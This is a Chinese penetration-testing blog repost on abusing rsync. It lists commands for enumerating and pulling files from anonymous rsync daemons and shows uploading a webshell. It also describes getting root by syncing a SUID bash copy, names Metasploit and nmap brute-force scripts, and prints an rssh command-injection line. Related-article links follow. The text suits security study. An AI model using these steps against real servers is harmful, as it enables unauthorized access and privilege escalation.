rsync的几则tips(渗透技巧)
转自91ri
关于rsync
rsync(remote synchronize)——Linux下实现远程同步功能的软件,能同步更新两处计算机的文件及目录。在同步文件时,可以保持源文件的权限、时间、软硬链接等附加信息。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员;而开发人员安全意识薄弱、安全技能欠缺往往是导致rsync出现相关漏洞的根源。
rsync默认配置文件为/etc/rsyncd.conf,常驻模式启动命令rsync –daemon,启动成功后默认监听于TCP端口873,可通过rsync-daemon及ssh两种方式进行认证。
常用操作
列举整个同步目录或指定目录:
rsync 10.0.0.12::www/
1
2
|
rsync 10.0.0.12::
rsync 10.0.0.12::www/
|
下载文件或目录到本地:
rsync -avz 10.0.0.12::www/ /var/tmp
1
2
|
rsync -avz 10.0.0.12::www/test.php /root
rsync -avz 10.0.0.12::www/ /var/tmp
|
上传本地文件到服务端:
1
|
rsync -avz webshell.php 10.0.0.12::www/
|
端口修改
在其配置文件中不存在监听端口修改相关选项,但可在启动命令行通过参数–port进行指定
因此通过进程查看方式,可以直接获得其真实监听端口。
通过端口扫描也可自动判断出其服务名及版本信息。
客户端在连接时,也需指定相应端口号,否则会出现端口拒绝连接错误提示。
认证方式
rsync默认允许匿名访问,也可在其配置文件中为同步目录添加用户认证相关项,包括认证文件及授权账号,若未包含授权账号行(auth users),则为匿名访问。
其用户认证文件内容为明文保存,但该文件权限必须设置为600,普通用户并无读取权限。
若认证文件权限设置错误,客户端用户即使口令输入正确,也会出现认证失败的提示信息。
此外由于rsync还支持ssh协议,因此可通过系统用户进行认证,即在rsync上通过SSH隧道进行传输,类似于scp工具,此时同步操作不再局限于rsync中定义的同步文件夹。
若服务端SSH为非标准端口,可通过rsync的-e参数进行端口指定。
本地提权
由于rsync进程默认以root权限启动,在rsync为匿名访问或存在弱口令前提下,还可利用其在同步文件过程中保持源文件权限的特性,进行本地权限提升。
在本地将bash shell添加suid权限位,并通过rsync上传到服务端。
在有普通用户shell权限前提下(通过rsync上传webshell或其他弱口令等漏洞),切换到同步目录,查看上传的shell文件权限不变,运行后即可提升为root权限。
自动化脚本
Metasploit中关于允许匿名访问的rsync扫描模块:auxiliary/scanner/rsync/modules_list
nmap中针对rsync同步目录列举的脚本rsync-list-modules:https://svn.nmap.org/nmap/scripts/rsync-list-modules.nse,似乎用处并不大。
另一个针对rsync口令暴力破解的脚本rsync-brute :https://svn.nmap.org/nmap/scripts/rsync-brute.nse。
91ri.org:我们附一个rsync(rssh)远程溢出的东西,虽然有点老,但是在内网环境中也是有遇到的几率,万一就中了呢。。
rssh 2.3.3-3在使用rsync时没有正确过滤 -e 选项,可导致远程攻击者利用此漏洞执行任意命令。
攻击语句:
1
|
rsync -e./script.sh localhost:/tmp--server ./
|
[via@STD兄弟连]
rsync的几则tips(渗透技巧)的更多相关文章
- 渗透技巧——Windows系统的帐户隐藏
渗透技巧——Windows系统的帐户隐藏 2017-11-28-00:08:55 0x01 帐户隐藏的方法 该方法在网上已有相关资料,本节只做简单复现 测试系统:·Win7 x86/WinXP 1. ...
- SCP和Rsync远程拷贝的几个技巧
scp是secure copy的简写,用于在Linux下进行远程拷贝文件的命令,和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的.可能会稍微影响一下速度.当你服务器 ...
- Metasploit渗透技巧:后渗透Meterpreter代理
Metasploit是一个免费的.可下载的渗透测试框架,通过它可以很容易地获取.开发并对计算机软件漏洞实施攻击测试.它本身附带数百个已知软件漏洞的专业级漏洞攻击测试工具. 当H.D. Moore在20 ...
- 渗透技巧——如何逃逸Linux的受限制shell执行任意命令
导语:本文介绍了如何在受限制的shell中执行任意命令,实现交互.其相应的利用场景是说当我们通过一些手段拿到当前Linux机器的shell时,由于当前shell的限制,很多命令不能执行,导致后续的渗透 ...
- rsync增量传输大文件优化技巧
问题 rsync用来同步数据非常的好用,特别是增量同步.但是有一种情况如果不增加特定的参数就不是很好用了.比如你要同步多个几十个G的文件,然后网络突然断开了一下,这时候你重新启动增量同步.但是发现等了 ...
- 内网渗透技巧:判断机器真实外网IP的5种方法总结
在内网渗透中有时需要在某台WEB服务器中留下后门,该机器可以通过内网IP建立IPC连接,但还需要获知外网IP或域名才能访问Wbshell,在无网关权限的情况下,我总结了有如下方法: 1.通过nsloo ...
- 渗透技巧——导出Chrome浏览器中保存的密码
0x00 前言 在后渗透阶段,获得权限后需要搜集目标系统的信息.信息越全面,越有助于进一步的渗透.对于Windows系统,用户浏览器往往包含有价值的信息. 在之前的文章<本地密码查看工具LaZa ...
- PowerShell 反弹渗透技巧
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访 ...
- windows内网渗透技巧
1.(windows)无扫描器情况下内网存活主机探测: for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "t ...
随机推荐
- maven学习(九)——maven中的坐标、依赖以及仓库
一.Maven坐标 1.1.什么是坐标? 在平面几何中坐标(x,y)可以标识平面中唯一的一点. 1.2.Maven坐标主要组成 groupId:组织标识(包名) artifactId:项目名称 ver ...
- Callable、Future、FutureTask_笔记
参考:http://blog.csdn.net/javazejian/article/details/50896505 1.Callable<V>接口 Runnable接口 public ...
- Struts2 改变语言状态
只要在请求中增加 request_locale=en_US 参数,就可以实现语言的切换,内部由拦截器实现
- CSS3 Flex布局和Grid布局
1 flex容器的六个属性 flex实现垂直居中: <div class="box"> <span class="item">< ...
- python(4)-- 日期 & 时间
1. Python 提供了一个 time 和 calendar 模块可以用于格式化日期和时间. 2. 时间间隔是以秒为单位的浮点小数. 3. 每个时间戳都以自从1970年1月1日午夜(历元)经过了多长 ...
- ios 瀑布流的那些事情
转载: 屎壳郎情调-成长日记 首先要知道:瀑布流的核心就是要获取到图片的长宽 网上的很多例子都是加载本地图片的 对于新手而言 改成加载网络图片的确是有点压力的 因为本地的图片 我们是很容易就能获取到 ...
- WP7资源
原文发布时间为:2012-07-31 -- 来源于本人的百度文章 [由搬家工具导入] Code libraries and toolkits Enterprise Library 5.0provide ...
- Android蓝牙介绍
1. 介绍 自从Android 4.2开始,Android开始使用自己的蓝牙协议栈BlueDroid,而不是bluez BlueDroid可分为两层: - BTE: Bluetooth Embedde ...
- Spring积累总结
1.spring 的优点: 1.降低了组件之间的耦合性 ,实现了软件各层之间的解耦 2.可以使用容易提供的众多服务,如事务管理,消息服务等 3.容器提供单例模式支持 4.容器提供了AOP技术,利用它很 ...
- java中Map的entrySet 和keySet的使用
存储这样的一个数据关系结构 使用嵌套map存储 可以通过调用 entrySet方法 或者 keySet方法 进行迭代或者增强for循环 便利输出 这里演示 迭代器的方式进行遍历 package ...